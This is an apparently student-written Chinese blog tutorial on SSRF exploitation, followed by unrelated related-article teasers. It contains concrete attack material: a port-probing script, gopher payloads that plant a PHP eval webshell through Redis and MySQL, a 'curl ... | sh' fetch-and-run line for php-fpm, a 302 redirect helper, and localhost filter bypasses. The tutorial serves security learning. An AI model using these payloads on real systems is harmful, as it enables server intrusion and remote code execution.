SSRF (服务端请求伪造)
🎼个人主页:金灰
😎作者简介:一名简单的大一学生;易编橙·终身成长社群的嘉宾.✨
专注网络空间安全服务,期待与您的交流分享~
感谢您的点赞、关注、评论、收藏、是对我最大的认可和支持!❤️
🍊易编橙·终身成长社群🍊 : http://t.csdnimg.cn/iSLaP 期待您的加入~
免责声明:本文仅做技术交流与学习...
目录
SSRF
特点:
条件:
判断:
URL格式:
SSRF的利用面:
1 任意文件读取
2 探测内网资源
3 使用gopher协议扩展攻击面
ssrf端口开放检测脚本:
redis 6379 :
mysql 3306:
php-fpm:
Gopherus-master工具(py2)
php原生类进行ssrf
ssrf绕过:
1 enclosed alphanumerics 绕过:
2 使用IP地址转换
3 特殊语法绕过
4 如果对方可以接受302跳转,并且跟进302跳转
302.php
5 利用短网址绕过
SSRF
Server-side Request Forgery 服务端请求伪造.攻击者向服务端发送包含恶意url连接的请求,借由服务端发起请求--
以便获取服务端网络内部的资源一句话总结:
控制服务端使用指定协议访问指定的url
特点:
1 让别人访问我们访问不到的url
2 拿到自己本来拿不到的数据
条件:
1 别人能帮我访问url 服务端有接受url地址并进行访问的功能(请求是服务端发起的)
2 url地址外部可控
判断:

https://xxx.com/index.php?url=http://www.baidu.com
//index.php-->
<?php
$url = $_GET['url'];
header('location:'.$url); //302的跳转
?>
是不是属于ssrf?
========================
告诉浏览器,你去访问这个地址
此时,浏览器,是客户端还是服务端?客户端
此时,服务器没有访问这个Url,只是告诉你浏览器,去跳转到这个地址去
是浏览器去访问,不是服务端去访问(location)
所以,不是SSRF
只能算 任意跳转漏洞
<?php
$url = $_GET['url'];
header('location:'.$url); //302的跳转//服务端访问(php代码)
echo file_get_contents("$url");
分清 是否是ssrf?
url地址可控
http://10.xx.xx.xx/
file:///etc/passwd
URL格式:
URL = scheme:[//authority]path[?query][#fragment]
schema: 协议头
://
authority
[userinfo@]host[:port]
默认使用80端口,而80端口默认情况下,是可以省略http://www.baidu.com/robots.txt
--->
本质,就是 通过指定的协议,访问互联网上某台服务器的某个资源或者某个文件
默认使用匿名账户访问---
userinfo: username:password@hostschema://username:password@host:port/path?a=b#top
http://ctfer:hacker@www.baidu.com/robots.txt //任意匿名都能访问
必须知道要读的文件名(通配符不支持)
SSRF的利用面:
1 任意文件读取
--前提是知道要读取的文件名
2 探测内网资源
127.0.0.1 mysql服务端监听了127.0.0.1这个地址,也就表示,只能通过127.0.0.1这个IP来访问
0.0.0.0 表示允许任意ip访问
192.168.233.233 只允许特定的IP地址访问
(探测到此服务器同内网的服务器)
3 使用gopher协议扩展攻击面
// 只负责将数据转发到某端口.
apache/nginx 80tomcat 8080node 3000flask 8080php-fpm 9000mysql 3306ftp 21ssh 22redis 6379#21 ftp
#22 ssh
#80 http
#443 https
#3389 rdp windows远程桌面
#1433 ms-sqlserver 默认端口
#3306 mysql 默认端口
#6379 redis 默认端口
#9000 php-fpm 默认端口
ssrf端口开放检测脚本:
import requests
url = "<ssrf入口网址>"
# 端口自己变
ports = [21,22,80,443,3389,1433,3306,6379]
for p in ports:try:data={"url":f"gopher://127.0.0.1:{p}/"}response = requests.post(url=url,data=data,timeout=2) #超时2秒就认为端口开了.except:print(f"端口{p}开放")
file:///etc/nginx/nginx.conf
redis 6379 :
支持key-value gopher://127.0.0.1:6379/_save_/var/www/html/1.php_<?php eval($_POST[1]);?>
mysql 3306:
用户密码为空 select '<?php eval($_POST[1];?>)'
php-fpm:
php-fpm 默认监听9000端口,而且只允许本机127.0.0.1这个地址访问主要负责对.php文件的代码解释执行
----->我们可以通过向9000端口发送格式的请求,来让9000端口背后的php-fpm帮我们处理我们提交的php代码
----通过向9000端口发送php执行请求设置php.ini中的运行参数其中使用 auto_append_file 来指定 php://input 包含恶意代码,然后执行为了能使用auto_append_file参数,必须有一个存在的php文件来使用这个配置项curl http://your-shell.com/IP:PORT |sh
Gopherus-master工具(py2)
ssrf----生成数据库...的payload
实战时注意二次编码等等

php原生类进行ssrf
php_soap
php_soap
php -m //查看安装的插件,扩展$soap = new SoapClient($_GET['url']);
$soap->hack(); //访问任意不存在方法。
//$soap->__call() //不存在就调用__call方法--访问不存在的地址,
--只支持http
url可控时,可以发送内网请求
ssrf绕过:
只要不允许它访问本地地址即可,也就是说,过滤的目的是,不让访问127.0.0.1地址
1 enclosed alphanumerics 绕过:
127.0.0.1 -> 127.⓿.⓿.1
(有些环境 Linux可用)
2 使用IP地址转换
IP地址十六进制、二进制、十进制转换-ME2在线工具
在线IP地址转八进制数字 - 八进制转IP地址 - IP转八进制在线工具—LZL在线工具
https://www.metools.info/other/ipconvert162.html
https://lzltool.cn/Tools/IpToOct
所有的域名->IP
ip可以使用不同进制来表示 127.0.0.1用不同进制可以表示为
- 2130706433 10进制 http://2130706433
- 017700000001 8进制 http://017700000001
- 7F000001 16进制 http://0x7F000001
-二进制不行.
3 特殊语法绕过
Windows 下 0 代表的是0.0.0.0
而Linux 下 0 代表的是127.0.0.1127.0.0.1 可以省略为 127.1 (省略)
127。0。0。1 可以替代127.0.0.1 (中文点)
4 如果对方可以接受302跳转,并且跟进302跳转
可以发送http的协议。但是返回的location为其他协议
http://xxx.com/302.php?schema=gopher&host=127.0.0.1&port=9000&payload=xxxx
--把要构建的要素发给302跳转,让它帮我们组装一个.302.php //服务端接受302跳转,我们跟进一下.
302.php
<?php
$schema = $_GET['s'];
$ip = $_GET['i'];
$port = $_GET['p'];
$query = $_GET['q'];
if(empty($port)){ header("Location: $schema://$ip/$query");
} else {header("Location: $schema://$ip:$port/$query");
}
5 利用短网址绕过
在线短链接生成工具 - 免费短网址转换 - toolfk
https://toolfk-api.xiuxiandou.com/zh-cn/tools/short-url.html
baidu.com 不允许出现baidu或者限制了url长度,我们可以切换为短网址,来绕过长度的限制
相关文章:
SSRF (服务端请求伪造)
🎼个人主页:金灰 😎作者简介:一名简单的大一学生;易编橙终身成长社群的嘉宾.✨ 专注网络空间安全服务,期待与您的交流分享~ 感谢您的点赞、关注、评论、收藏、是对我最大的认可和支持!❤️ 🍊易编橙终身成长社群&#…...
SQL中的LEFT JOIN、RIGHT JOIN和INNER JOIN
在SQL中,JOIN操作是连接两个或多个数据库表,并根据两个表之间的共同列(通常是主键和外键)返回数据的重要方法。其中,LEFT JOIN(左连接)、RIGHT JOIN(右连接)和INNER JOIN…...
[网鼎杯 2020 朱雀组]Nmap(详细解读版)
这道题考察nmap的一些用法,以及escapeshellarg和escapeshellcmd两个函数的绕过,可以看这里PHP escapeshellarg()escapeshellcmd() 之殇 (seebug.org) 两种解题方法: 第一种通过nmap的-iL参数读取扫描一个文件到指定文件中第二种是利用nmap的参数写入we…...
【React】详解“最新”和“最热”切换与排序
文章目录 一、基本概念和初始化二、切换与排序功能的实现1. 函数定义和参数2. 设置活动 Tab3. 定义新列表变量4. 根据排序类型处理列表4.1 按时间降序排序4.2 按点赞数降序排序 5. 更新评论列表 三、渲染导航 Tab 和评论列表1. map 方法2. key 属性3. className 动态赋值4. onC…...
BUUCTF [MRCTF2020]Ezpop
这道题对于刚接触到pop链的我直接把我整懵了,一边看着魔术方法一边分析 魔术方法可以看这里PHP 魔术方法 - 简介 - PHP 魔术方法 - 简单教程,简单编程 (twle.cn) 代码解析 经过以上的分析我们可以理一下解题思路:接收参数反序列化之前先触发…...
RV1126 Linux 系统,接外设,时好时坏(一)应该从哪些方面排查问题
在 Linux 系统中接外设时,遇到“时好时坏”的问题,可能是由多种因素引起的。以下是一些排查问题的建议。 1. 硬件方面的排查 1.1 连接检查 物理连接: 确保外设与主板之间的连接良好,检查插头、插座及线缆是否牢固。引脚配置: 确认设备树中引脚的配置是否正确,尤其是引脚…...
Vue实现简单小案例
一、创建文件夹 二、引用vue.js <script src"../js/vue.js"></script> 三、准备一个容器 <div id"app"><h1>Hello,{{name}}</h1> </div> 四、创建实例 <script>new Vue({el:"#app", //el用于指…...
【MATLAB APP】建立独立桌面APP
背景:已有MATLAB APP的.mlapp文件,但客户提出需要可以直接使用的exe文件。 要求:点开即用,无需下载MATLAB。使用者无法修改APP的代码。 一、环境配置 APP创建者:安装MATLAB R2023a,配置Application Compile…...
Spring的优缺点?
Spring的优缺点 直接回答相关的Spring的特点: IOC AOP 事务 简化开发: 容易集成JDBCTemplateRestTemplate(接口远程调用)邮件发送相关异步消息请求支持 更加深入就讲源码了 优点: 方便解耦,简化开发…...
第一百八十三节 Java IO教程 - Java目录事件、Java异步I/O
Java IO教程 - Java目录事件 当文件系统中的对象被修改时,我们可以监听watch服务以获取警报。 java.nio.file包中的以下类和接口提供watch服务。 Watchable接口WatchService接口WatchKey接口WatchEvent接口WatchEvent.Kind接口StandardWatchEventKinds类 可监视对…...
【设计模式】(万字总结)深入理解Java中的创建型设计模式
1. 前言 在软件开发的世界里,设计模式是一种被广泛接受并应用的解决方案。它们不仅仅是代码的设计,更是对问题的思考和解决的方法论。在Java开发中,特别是在面向对象的编程中,设计模式尤为重要。创建型设计模式,作为设…...
【全面讲解下Docker in Docker的原理与实践】
🌈个人主页: 程序员不想敲代码啊 🏆CSDN优质创作者,CSDN实力新星,CSDN博客专家 👍点赞⭐评论⭐收藏 🤝希望本文对您有所裨益,如有不足之处,欢迎在评论区提出指正,让我们共同学习、交流进步! 👉目录 👉前言👉原理👉实践👉安全和最佳实践👉前言 🦛…...
Android Settings增加多击事件,增加开发者模式打开难度
软件平台:Android11 硬件平台:QCS6125 需求来源:用户通过系统异常崩溃,进入原生Settings页面,通过默认的多击版本号方式打开开发者模式,继而打开adb调试开关,安装三方apk。 对付这种需求本来有…...
【相机与图像】1. 相机模型的介绍:内参、外参、畸变参数
想着整理下相机模型(内容上参考 slam十四讲)、相机的内外参标定。方便自己的使用和回顾。 不过,内外参标定啥时候记录随缘 -_- 概述 【构建相机模型】 相机将三位世界中的坐标点(单位为米)映射到二维图像平面ÿ…...
Linux内核netlink机制 - 用户空间和内核空间数据传输
简介: Netlink socket 是一种Linux特有的socket,用于实现用户空间与内核空间通信的一种特殊的进程间通信方式(IPC) ,也是网络应用程序与内核通信的最常用的接口。 Netlink 是一种在内核和用户应用间进行双向数据传输的非常好的方式&a…...
Node.js自动化处理TOML文件
在软件开发过程中,自动化处理配置文件是一种常见的需求。TOML(Tom’s Obvious, Minimal Language)是一种用于配置文件的简单易读的格式。本文将展示如何使用Node.js和一些流行的库来自动化读取、修改并写入TOML文件。 1. 准备工作 在开始之前…...
Spring boot 后端向前端发送日期时间发现少了8小时
问题 数据库 后端的控制台输出 前端控制台输出 可以发现少了8小时 问题 springboot 向前端响应数据是默认 Json 格式,所以会有类型转换,springboot 就通过 Jackson 来对 data 类型数据进行转换,但是Jackson 类型的时区是 GMT,与…...
MySQL数据库(基础篇)
🌏个人博客主页:心.c 前言:今天讲解的是MySQL的详细知识点的,希望大家可以收货满满,话不多说,直接开始搞! 🔥🔥🔥文章专题:MySQL 😽感…...
ffmpeg ffplay.c 源码分析二:数据读取线程
本章主要是分析 数据读取线程read_thread 中的工作。如上图红色框框的部分 从ffplay框架分析我们可以看到,ffplay有专⻔的线程read_thread()读取数据, 且在调⽤av_read_frame 读取数据包之前需要做: 1.例如打开⽂件, 2.查找配置解…...
国科大作业考试资料《人工智能原理与算法》2024新编-第十三次作业整理
1、假设我们从决策树生成了一个训练集,然后将决策树学习应用于该训练集。当训练集的大小趋于无穷时,学习算法将最终返回正确的决策树吗?为什么是或不是? 本次有两个参考: 参考一: 当训练集的大小趋于无穷…...
SciencePlots——绘制论文中的图片
文章目录 安装一、风格二、1 资源 安装 # 安装最新版 pip install githttps://github.com/garrettj403/SciencePlots.git# 安装稳定版 pip install SciencePlots一、风格 简单好用的深度学习论文绘图专用工具包–Science Plot 二、 1 资源 论文绘图神器来了:一行…...
如何在看板中体现优先级变化
在看板中有效体现优先级变化的关键措施包括:采用颜色或标签标识优先级、设置任务排序规则、使用独立的优先级列或泳道、结合自动化规则同步优先级变化、建立定期的优先级审查流程。其中,设置任务排序规则尤其重要,因为它让看板视觉上直观地体…...
SCAU期末笔记 - 数据分析与数据挖掘题库解析
这门怎么题库答案不全啊日 来简单学一下子来 一、选择题(可多选) 将原始数据进行集成、变换、维度规约、数值规约是在以下哪个步骤的任务?(C) A. 频繁模式挖掘 B.分类和预测 C.数据预处理 D.数据流挖掘 A. 频繁模式挖掘:专注于发现数据中…...
关于iview组件中使用 table , 绑定序号分页后序号从1开始的解决方案
问题描述:iview使用table 中type: "index",分页之后 ,索引还是从1开始,试过绑定后台返回数据的id, 这种方法可行,就是后台返回数据的每个页面id都不完全是按照从1开始的升序,因此百度了下,找到了…...
linux arm系统烧录
1、打开瑞芯微程序 2、按住linux arm 的 recover按键 插入电源 3、当瑞芯微检测到有设备 4、松开recover按键 5、选择升级固件 6、点击固件选择本地刷机的linux arm 镜像 7、点击升级 (忘了有没有这步了 估计有) 刷机程序 和 镜像 就不提供了。要刷的时…...
Spring Boot+Neo4j知识图谱实战:3步搭建智能关系网络!
一、引言 在数据驱动的背景下,知识图谱凭借其高效的信息组织能力,正逐步成为各行业应用的关键技术。本文聚焦 Spring Boot与Neo4j图数据库的技术结合,探讨知识图谱开发的实现细节,帮助读者掌握该技术栈在实际项目中的落地方法。 …...
NFT模式:数字资产确权与链游经济系统构建
NFT模式:数字资产确权与链游经济系统构建 ——从技术架构到可持续生态的范式革命 一、确权技术革新:构建可信数字资产基石 1. 区块链底层架构的进化 跨链互操作协议:基于LayerZero协议实现以太坊、Solana等公链资产互通,通过零知…...
Web 架构之 CDN 加速原理与落地实践
文章目录 一、思维导图二、正文内容(一)CDN 基础概念1. 定义2. 组成部分 (二)CDN 加速原理1. 请求路由2. 内容缓存3. 内容更新 (三)CDN 落地实践1. 选择 CDN 服务商2. 配置 CDN3. 集成到 Web 架构 …...
Angular微前端架构:Module Federation + ngx-build-plus (Webpack)
以下是一个完整的 Angular 微前端示例,其中使用的是 Module Federation 和 npx-build-plus 实现了主应用(Shell)与子应用(Remote)的集成。 🛠️ 项目结构 angular-mf/ ├── shell-app/ # 主应用&…...
中医有效性探讨
文章目录 西医是如何发展到以生物化学为药理基础的现代医学?传统医学奠基期(远古 - 17 世纪)近代医学转型期(17 世纪 - 19 世纪末)现代医学成熟期(20世纪至今) 中医的源远流长和一脉相承远古至…...

